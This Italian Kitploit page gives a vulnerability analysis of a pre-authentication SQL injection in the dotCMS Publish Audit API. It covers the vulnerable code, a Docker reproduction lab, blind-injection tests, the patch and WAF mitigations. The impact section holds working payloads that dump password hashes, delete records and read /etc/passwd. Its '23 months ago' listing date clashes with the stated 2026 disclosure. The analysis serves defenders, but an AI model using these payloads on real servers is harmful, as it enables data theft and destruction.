Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-8054 — dotCMS SQL Injection pre-autenticazione | Kitploit
Strumenti/GitHubGitHub/mr-xn/cve-2026-8054
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS SQL Injection pre-autenticazione

Vedi Repository
23 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

1. Panoramica della vulnerabilità

CVE-2026-8054 è una vulnerabilità di SQL Injection pre-autenticazione ad alto rischio (Pre-auth SQL Injection) presente nell'API di Audit delle Pubblicazioni (Publish Audit API) di dotCMS Core. Il bug è stato tracciato ufficialmente come incidente di sicurezza SI-75 ed è stato divulgato ufficialmente alla fine di maggio 2026. Poiché un attaccante può attivarlo da remoto senza alcuna credenziale, il suo danno potenziale è molto grave.

Scarica lo strumento
AttributoValore
ID CVECVE-2026-8054
Tracciamento ufficialeSI-75
Tipo di vulnerabilitàSQL Injection (CWE-89)
Componente interessatodotCMS Core - Publish Audit API
Punteggio CVSS10.0 (Critical)
Versioni affette25.11.04-1 a 26.04.28-02
Versione corretta26.04.28-03
Vettore d'attaccoSQL injection remota non autenticata (Pre-auth)
Privilegi richiestiNessuna autenticazione
Interazione utenteNessuna
Impatto versioni LTSNon interessate (il ramo del codice di audit non è stato backportato all'albero LTS)

2. Spiegazione dettagliata del principio della vulnerabilità

2.1 Natura della vulnerabilità

La vulnerabilità risiede nei due endpoint REST /api/auditPublishing/get e /api/auditPublishing/getAll. Questi endpoint, quando ricevono i parametri di richiesta dal client, non eseguono alcun filtro o binding parametrizzato, ma costruiscono dinamicamente query SQL tramite concatenazione diretta di stringhe.

Ancora più grave, dotCMS ha completamente tralasciato il controllo di autenticazione e autorizzazione su questi endpoint backend sensibili relativi agli audit. Ciò significa che qualsiasi attaccante remoto senza credenziali, purché possa raggiungere il sistema attraverso la rete, può inviare direttamente richieste HTTP con payload malevoli agli endpoint.

2.2 Punto di ingresso della vulnerabilità

Percorso file: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

La vulnerabilità si trova in due endpoint API REST:

  • GET /api/auditPublishing/get/{bundleId} - Ottiene lo stato di audit di una singola pubblicazione
  • POST /api/auditPublishing/getAll - Ottiene in blocco lo stato di audit delle pubblicazioni

Problema chiave: Prima della correzione, questi endpoint non richiedevano alcuna autenticazione; qualsiasi utente anonimo poteva accedervi direttamente.

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【Punto vulnerabile】 Nessun controllo di autenticazione! Chiamata diretta all'API backend
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 Codice core della vulnerabilità

Percorso file: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

Metodo: getPublishAuditStatuses(List<String> bundleIds) (righe 224-245)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【Punto vulnerabile 1】 Input dell'utente concatenato direttamente nell'istruzione SQL
        // Vengono solo aggiunte virgolette singole, nessuna parametrizzazione o escaping
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // Pericoloso: concatenazione di stringhe
            .collect(Collectors.toList());

        // 【Punto vulnerabile 2】 Uso di String.format per costruire SQL, input utente incorporato direttamente
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Impossibile ottenere l'elenco degli elementi con errore:" + e.getMessage(), e);
    }
}

Costante SQL (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 Percorso di propagazione del taint

root@kitploit:~
graph LR
    subgraph Attaccante esterno
        A[Attaccante remoto] -->|Invia payload malevolo| B[API REST HTTP]
    end

    subgraph Livello applicazione
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|Chiama| D[PublishAuditAPI]
        D -->|Chiama| E[PublishAuditAPIImpl]
        E -->|Passa bundleIds| F[Elaborazione taint<br/>bundleIds.stream<br/>.map id -> id]
        F -->|Concatena parametri| G[Costruzione SQL<br/>String.format]
    end

    subgraph Livello tecnologico
        G -->|Costruisce SQL| H[Query SQL dinamica<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|Esegue| I[Esecuzione SQL]
        I -->|Esegue SQL iniettato| J[PostgreSQL/MySQL]
    end

    subgraph Punti vulnerabili
        K[Punto vulnerabile 1<br/>Nessun controllo autenticazione] -.->|Salta autenticazione| C
        L[Punto vulnerabile 2<br/>Nessun binding parametrizzato] -.->|Aggiunge solo virgolette| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

Propagazione del taint: Input utente → API REST → Elaborazione backend → Costruzione SQL → Esecuzione database Difetti chiave: Nessuna autenticazione + Nessuna parametrizzazione = SQL injection completamente controllabile

2.5 Analisi del principio di SQL injection

Supponiamo che l'utente inserisca bundleIds = ["x' OR '1'='1"]

SQL normale:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SQL dopo iniezione:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

Poiché '1'='1' è sempre vero, questa query restituisce tutti i record nella tabella.

root@kitploit:~
graph TD
    subgraph Confronto input
        A[Input normale<br/>bundle-123] -->|Costruisce| B[SQL normale<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[Input malevolo<br/>x OR 1=1] -->|Inietta| D[SQL iniettato<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph Esecuzione database
        B -->|Esegue| E[Database]
        D -->|Esegue| E
    end

    subgraph Confronto risultati
        E -->|Restituisce| F[Risultato normale<br/>1 record]
        E -->|Restituisce - Fuga dati| G[Risultato esposto<br/>Tutti i record]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[Punto di iniezione: chiusura stringa con virgoletta singola<br/>OR 1=1 rende la condizione sempre vera<br/>Risultato: restituisce tutti i record]

3. Analisi dell'impatto e dei danni

Un attaccante che sfrutta con successo questa vulnerabilità può eseguire comandi SQL arbitrari nel contesto dell'utente del sistema database, causando le seguenti gravi conseguenze:

root@kitploit:~
graph TD
    subgraph Analisi impatto attacco
        subgraph Riservatezza dati
            A[Hash password amministratore]
            B[Credenziali utente]
            C[Token di reset]
            D[Configurazioni di sistema]
        end

        subgraph Integrità dati
            E[Contenuti del sito]
            F[Ruoli e permessi utente]
            G[Log di audit]
        end

        subgraph Disponibilità sistema
            H[DROP TABLE]
            I[CANCELLAZIONE dati]
            J[AGGIORNAMENTO dati]
        end

        subgraph Escalation privilegi
            K[Preso controllo amministratore]
            L[Lettura/scrittura filesystem]
            M[Esecuzione remota codice]
        end
    end

    N[Vulnerabilità SQL injection] -->|Espone| A
    N -->|Espone| B
    N -->|Espone| C
    N -->|Manipola| E
    N -->|Manipola| F
    N -->|Esegue| H
    N -->|Realizza| K
    N -->|Realizza| L

    O[CVSS 10.0 Critical] -.->|Valuta| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 Fuga di dati sensibili

L'attaccante può estrarre le tabelle del database core tramite SQL injection, ottenendo:

  • Hash delle password dell'amministratore
  • Credenziali utente
  • Token di reset
  • Informazioni di configurazione del sistema
  • Dati del contenuto del sito

Payload d'attacco di esempio - Ottenere password amministratore:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 Manomissione e distruzione dei dati

L'attaccante può modificare, inserire o eliminare arbitrariamente nel database:

  • Contenuti del sito
  • Ruoli e permessi utente
  • Configurazioni del sistema
  • Log di audit

Payload d'attacco di esempio - Eliminare record di audit:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 Escalation di privilegi ed esecuzione remota di codice

In base al tipo di database backend (PostgreSQL, MySQL, ecc.) e ai permessi di configurazione, l'attaccante potrebbe sfruttare ulteriormente il punto di iniezione per:

  • Presa di controllo dell'account amministratore backend
  • Lettura/scrittura del filesystem (tramite funzioni del database)
  • Esecuzione remota di codice (RCE)

Payload d'attacco di esempio - Lettura file PostgreSQL:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 Analisi della superficie d'attacco

DimensioneValutazione
Vettore d'attaccoRemoto di rete (Network)
Complessità d'attaccoBassa (Low)
Condizione preliminareNessuna (None)
Interazione utenteNessuna (None)
Ambito d'impattoModificato (Changed)
Impatto sulla riservatezzaAlto (High)
Impatto sull'integritàAlto (High)
Impatto sulla disponibilitàAlto (High)

4. Passaggi per la riproduzione della vulnerabilità

4.1 Configurazione dell'ambiente

root@kitploit:~
graph TB
    subgraph Architettura ambiente Docker
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>rete bridge]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|Espone| E
    A -->|Espone| F
    B -->|Espone| G
    C -->|Espone| H

    A -->|Connessione database| B
    A -->|Connessione motore di ricerca| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[Versione vulnerabile: 25.11.04-1<br/>Password iniziale: admin<br/>Porte: 8080, 8443]

Usa Docker Compose per configurare l'ambiente vulnerabile:

docker-compose.yml:

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile:

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

Comando di avvio:

root@kitploit:~
docker compose up -d
# Attendere il completamento dell'inizializzazione di dotCMS (circa 2-3 minuti)
# Controllare lo stato: docker compose logs -f dotcms

4.2 Verifica della vulnerabilità

Test 1: Conferma che l'endpoint non richiede autenticazione

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

Risposta: 200 OK, restituisce un array vuoto [], dimostrando che l'endpoint è accessibile senza autenticazione.

Test 2: SQL injection - Blind boolean ✅ Verificato

Principio del blind boolean: osservare la differenza nel codice di stato della risposta HTTP per determinare se la condizione di iniezione è vera o falsa.

root@kitploit:~
graph TD
    subgraph Processo blind boolean
        A["Invia richiesta"] -->|Invia payload| B["/api/auditPublishing/getAll"]

        B -->|Condizione vera| C["Condizione vera and 1=1"]
        B -->|Condizione falsa| D["Condizione falsa and 1=2"]

        C -->|Restituisce dati| E["404 Not Found - Dati presenti NPE"]
        D -->|Non restituisce dati| F["200 OK + array vuoto - Nessun dato, normale"]

        E -->|Analizza| G["Analisi risposta"]
        F -->|Analizza| G

        G -->|Deduce vero/falso condizione| H["Conclusione dedotta"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["Payload: real-bundle-1 and 1=1 Risposta: 404 Eccezione NPE Conclusione: condizione vera"]
    note2["Payload: real-bundle-1 and 1=2 Risposta: 200 + array vuoto Conclusione: condizione falsa"]

Test condizione vera (and 1=1):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

Risposta: 404 Not Found

Test condizione falsa (and 1=2):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

Risposta: 200 OK, restituisce []

Analisi esecuzione SQL:

root@kitploit:~
-- Condizione vera: bundle_id corrisponde E 1=1 è vero -> restituisce dati -> codice gestisce NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- Condizione falsa: bundle_id corrisponde MA 1=2 è falso -> non restituisce dati -> risultato vuoto gestito normalmente -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

Principio della differenza di risposta:

CondizioneRisultato SQLComportamento codiceRisposta HTTP
and 1=1 (vero)Restituisce record corrispondentiturnIntoPublishAuditStatus() durante l'elaborazione dei dati genera NullPointerException404
and 1=2 (falso)Non restituisce recordLista vuota restituita normalmente200 + []

Conclusione: Sfruttando la differenza di risposta 404/200, l'attaccante può dedurre bit per bit qualsiasi informazione dal database (nomi tabella, valori campi, hash password, ecc.).

Test 3: SQL injection - Blind temporale ✅ Verificato

Principio del blind temporale: osservare la differenza nei tempi di risposta per determinare se la condizione di iniezione è vera o falsa.

root@kitploit:~
graph TD
    subgraph Processo blind temporale
        A["Invia richiesta"] -->|Invia payload| B["/api/auditPublishing/getAll"]
        B -->|Passa| C["Payload ritardo SELECT pg_sleep N"]

        C -->|Esegue SQL| D["PostgreSQL"]
        D -->|Chiama| E["pg_sleep N - esecuzione ritardata"]

        E -->|Ritarda N secondi| F["Misura tempo risposta"]
        F -->|Confronta con baseline| G["Analizza differenza ritardo"]
        G -->|Deduce vero/falso condizione| H["Conclusione dedotta"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["Payload: x and SELECT pg_sleep 3 text=t Risposta normale: 0.03 sec Risposta ritardata: 3.02 sec Conclusione: pg_sleep eseguito con successo"]

Test ritardo 3 secondi:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

Risposta: 200 OK, tempo impiegato 3.02 secondi

Test ritardo 5 secondi:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

Risposta: 200 OK, tempo impiegato 5.01 secondi

Analisi esecuzione SQL:

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

Confronto tempi di risposta:

PayloadRitardo previstoTempo effettivoRisultato
Richiesta normale0 secondi0.03 secondi✅
pg_sleep(3)3 secondi3.02 secondi✅ Ritardo riuscito
pg_sleep(5)5 secondi5.01 secondi✅ Ritardo riuscito

Conclusione: Controllando il ritardo di risposta, l'attaccante può dedurre bit per bit le informazioni del database anche in scenari senza output visibile.


5. Analisi della soluzione di correzione

5.1 Contenuto della correzione PR #35553

root@kitploit:~
graph TD
    subgraph Soluzione di correzione
        subgraph Correzione codice
            A[Query parametrizzata<br/>Uso di placeholder]
            B[Rafforzamento autenticazione<br/>Push Publish Token]
            C[Validazione input<br/>Controllo null/vuoto]
        end

        subgraph Effetti correzione
            D[Prevenzione SQL injection]
            E[Limitazione accesso non autorizzato]
            F[Prevenzione eccezioni puntatore nullo]
        end

        G[PR #35553]
        H[Versione corretta<br/>26.04.28-03]
    end

    G -->|Implementa| A
    G -->|Implementa| B
    G -->|Implementa| C

    A -->|Binding parametri| D
    B -->|Autenticazione obbligatoria| E
    C -->|Gestione valori null| F

    H -->|Include| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[Prima della correzione: concatenazione String.format<br/>Dopo la correzione: binding parametri con dc.addParam]

Correzione 1: Query parametrizzata

Prima della correzione (codice vulnerabile):

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

Dopo la correzione (codice sicuro):

root@kitploit:~
// Nuovo: controllo valore null
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// Uso di placeholder per query parametrizzata
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // Binding parametri, previene SQL injection

Correzione 2: Rafforzamento autenticazione

Prima della correzione:

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // Nessun controllo autenticazione
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

Dopo la correzione:

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // Nuovo: controllo autenticazione Push Publish Token
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // Restituisce 401 Unauthorized
    }
    // ...
}

5.2 Principio della correzione

Misura correttivaSpiegazione
Query parametrizzataUso dei placeholder ? al posto della concatenazione di stringhe; il database gestisce automaticamente l'escaping dei parametri, prevenendo radicalmente la SQL injection
Rafforzamento autenticazioneRichiede che la richiesta porti un Push Publish Token valido; limita l'accesso solo agli utenti backend autenticati con permessi sul componente publishing-queue
Validazione inputAggiunge controlli per null e liste vuote, prevenendo eccezioni puntatore nullo

5.3 Spiegazione delle versioni interessate

  • Versioni affette: Tutte le versioni a sviluppo rapido/iterazione veloce di dotCMS Core dalla 25.11.04-1 alla 26.04.28-02
  • Versioni non affette: Le versioni LTS (Long Term Support) non sono interessate, poiché il ramo del codice di audit interessato non è mai stato backportato all'albero LTS

6. Mitigazioni temporanee e suggerimenti di protezione

Se non è possibile effettuare subito l'aggiornamento alla versione corretta, si possono adottare le seguenti misure temporanee:

root@kitploit:~
graph TD
    subgraph Misure di protezione
        subgraph Livello rete
            A[Regole WAF di blocco<br/>Blocca /api/auditPublishing/]
            B[Limitazioni firewall<br/>Consenti solo traffico interno]
        end

        subgraph Livello applicazione
            C[Regole protezione Nginx<br/>Blocco location]
            D[Regole ModSecurity<br/>Rilevamento SQL injection]
        end

        subgraph Livello dati
            E[Limitazione permessi database<br/>Principio del minimo privilegio]
            F[Limitazione funzioni a rischio<br/>pg_read_file ecc.]
        end

        G[Aggiornamento a 26.04.28-03<br/>Soluzione definitiva]
    end

    A -.->|Sostituto temporaneo| G
    B -.->|Sostituto temporaneo| G
    C -.->|Sostituto temporaneo| G
    E -.->|Riduce impatto| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[Priorità: P0 - Aggiornamento immediato<br/>Altre misure sono soluzioni temporanee]

6.1 Blocco tramite regole WAF

Configurare politiche di controllo accessi sul firewall applicativo web (WAF) o sul proxy inverso, bloccando o rifiutando direttamente il traffico esterno verso i percorsi /api/auditPublishing/get e /api/auditPublishing/getAll.

Esempio di configurazione regole di protezione Nginx

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# Blocca le richieste a Publish Audit API
location ~ ^/api/auditPublishing/(get|getAll) {
    # Restituisce 403 accesso negato
    return 403 "Accesso negato: endpoint bloccato per motivi di sicurezza";
    add_header Content-Type text/plain;
}

# Oppure usa un approccio più permissivo, consentendo solo traffico interno
location ~ ^/api/auditPublishing/(get|getAll) {
    # Consenti subnet interne
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # Nega tutte le altre origini
    deny all;
}

# Regole WAF contro caratteristiche SQL injection
location / {
    # Rileva pattern comuni di SQL injection
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # Rileva iniezione con virgoletta singola
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

Esempio di regole ModSecurity WAF

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# Regola 1: Blocca l'accesso agli endpoint vulnerabili
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Accesso bloccato a endpoint dotCMS vulnerabile'"

# Regola 2: Rileva caratteristiche SQL injection
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: Tentativo di SQL injection rilevato'"

6.2 Limitare i permessi del database

Assicurarsi che l'account del database utilizzato da dotCMS segua il principio del minimo privilegio:

root@kitploit:~
-- Esempio di limitazione permessi PostgreSQL
-- Crea utente limitato
CREATE USER dotcms_restricted WITH PASSWORD 'password_sicura';

-- Concedi solo permessi necessari sulle tabelle
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- Vieta creazione/eliminazione tabelle
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- Vieta esecuzione comandi di sistema
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- Vieta lettura file
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 Protezione a livello di rete

root@kitploit:~
# Usa iptables per limitare l'accesso alle porte API
# Consenti solo traffico interno sulla porta 8080
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. Riepilogo

root@kitploit:~
graph TD
    subgraph Riepilogo vulnerabilità
        subgraph Analisi causa radice
            A[Mancata validazione input<br/>Input utente concatenato direttamente in SQL]
            B[Mancata autenticazione<br/>API accessibile senza autenticazione]
            C[Mancata parametrizzazione<br/>Concatenazione stringhe invece di query parametrizzate]
        end

        subgraph Valutazione CVSS
            D[CVSS 10.0<br/>Critical]
            E[Remoto di rete]
            F[Bassa complessità]
            G[Nessuna autenticazione]
        end

        subgraph Suggerimenti correzione
            H[P0: Aggiornamento immediato<br/>26.04.28-03]
            I[P1: Blocco WAF<br/>Mitigazione temporanea]
            J[P2: Permessi database<br/>Ridurre impatto]
        end
    end

    A -->|Porta a| D
    B -->|Porta a| D
    C -->|Porta a| D

    H -->|Risolve| A
    H -->|Risolve| B
    H -->|Risolve| C

    I -.->|Sostituto temporaneo| H
    J -.->|Riduce rischio| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[Vettore d'attacco: Network<br/>Complessità attacco: Low<br/>Privilegi richiesti: None<br/>Interazione utente: None]

7.1 Causa radice della vulnerabilità

  1. Mancata validazione input: L'input dell'utente viene concatenato direttamente nelle istruzioni SQL, senza alcun filtro o escaping.
  2. Mancata autenticazione: Gli endpoint API sono accessibili senza alcuna autenticazione, esponendo funzionalità backend sensibili.
  3. Mancata parametrizzazione: Utilizzo di concatenazione di stringhe invece di query parametrizzate, violando le migliori pratiche di codifica sicura.

7.2 Valutazione della superficie d'attacco

  • Vettore d'attacco: Remoto di rete (Network)
  • Complessità d'attacco: Bassa (Low)
  • Condizione preliminare: Nessuna (None)
  • Interazione utente: Nessuna (None)
  • Punteggio CVSS: 10.0 (Critical)

7.3 Priorità dei suggerimenti di correzione

PrioritàMisuraSpiegazione
P0 - ImmediataAggiornamento a dotCMS 26.04.28-03 o superioreVersione ufficiale corretta, risolve il problema alla radice
P1 - UrgenteConfigurare regole WAF di bloccoMitigazione temporanea, blocca il traffico d'attacco
P2 - ImportanteLimitare i permessi del databaseRidurre l'impatto in caso di sfruttamento della vulnerabilità
P3 - ConsigliataAudit di sicurezza su altri endpointVerificare la presenza di problemi simili

7.4 Spiegazione delle versioni LTS

Il team ufficiale ha dichiarato che le versioni LTS (Long Term Support) non sono interessate, poiché il ramo del codice di audit interessato non è mai stato backportato all'albero LTS. Gli utenti delle versioni LTS non necessitano di aggiornamenti urgenti.


8. Riferimenti

  1. NVD - CVE-2026-8054
  2. SentinelOne - Database vulnerabilità CVE-2026-8054
  3. Avviso di sicurezza dotCMS - SI-75
  4. Autenticazione API REST dotCMS
  5. PR GitHub #35553 - Correzione
  6. Alan Turing Institute - Report TIER_2 CVE-2026-8054

Data creazione report: 2026-06-08 Strumenti di analisi: Docker, curl, PostgreSQL Versione vulnerabile: dotCMS 25.11.04-1 Versione corretta: dotCMS 26.04.28-03 (PR #35553)